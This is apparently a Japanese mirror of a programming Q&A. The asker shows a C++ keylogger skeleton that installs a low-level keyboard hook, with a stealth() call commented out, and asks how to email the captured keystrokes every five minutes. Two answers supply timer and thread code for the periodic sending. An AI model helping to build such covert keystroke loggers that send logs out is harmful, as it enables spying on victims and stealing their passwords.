2

キーストロークをログに記録するキーロガーを作成しています (duh ..)。基本的なキーロガーを C++ で実装したので、アプリケーションに新しい機能を追加したいと思いました。ログをメールで送信したいのです。これまでのところ、私のニーズにぴったり合うこのオープンソースの電子メール クライアントを見つけました。私が抱えている唯一の問題は、アプリケーションが x 分間隔でログを送信するようにすることです。

int main(int argc, char *argv[])
{
    //stealth();
    hHook = SetWindowsHookEx(WH_KEYBOARD_LL, MyLowLevelKeyBoardProc, NULL, 0);
    if(hHook == NULL)
    {
        cout << "Hook failed" << endl;
    }

    MSG message;
    while(GetMessage(&message, NULL, 0, 0))
    {
        TranslateMessage(&message);
        DispatchMessage(&message);
    }

    return 0;
}

どういうわけか、ある時点で関数send(); を使用するある種のカウンターを実装する必要があります。. 関数send();を実行するように MSG ループを変更する方法は、誰にでもわかります。5分ごと?

4

2 に答える 2

3

SetTimer関数を見てください。まさに必要なことを行っていると思います。

イベント ループの前に、必要な間隔でこの関数を呼び出す必要があり、コールバック関数を渡す必要があります。または、別の関数CreateTimerQueueTimerを使用できます

VOID CALLBACK TimerProc(HWND hWnd, UINT nMsg, UINT nIDEvent, DWORD dwTime) {
}

UINT timer = SetTimer(NULL, 0, 500, &TimerProc);

MSG message;
while(GetMessage(&message, NULL, 0, 0))
{
    TranslateMessage(&message);
    DispatchMessage(&message);
}

KillTimer(NULL, timerId);
于 2013-05-10T11:10:06.827 に答える
1

x milis をスリープ状態にする新しいスレッドを作成し、while(!interrupted) ループを送信します。ご存じかもしれませんが、2 つの別々のスレッドから同時に読み取りと書き込みのために同じデータにアクセスすると、エラーが発生します。 http://msdn.microsoft.com/en-us/library/kdzttdcb(v=vs.80).aspx

クリティカルセクションを使用できることを回避するには

http://msdn.microsoft.com/en-us/library/windows/desktop/ms686908(v=vs.85).aspx

または、スレッドをスリープ状態にして、ブール値を true に変更します。これは、「はい、十分に待機しました」という意味です。メイン関数は、そのブール値が true のときに常にデータを送信し、false に戻します。

編集:これはこれをアーカイブするためのより簡単な方法だと思います

while(!interrupted) { // Your thread will do this.
    sleep(60000);
    maysend = true;
}
[...]
if(maysend) { // Your main function will contain this
    send();
    maysend = false;
}
于 2013-05-10T11:13:39.207 に答える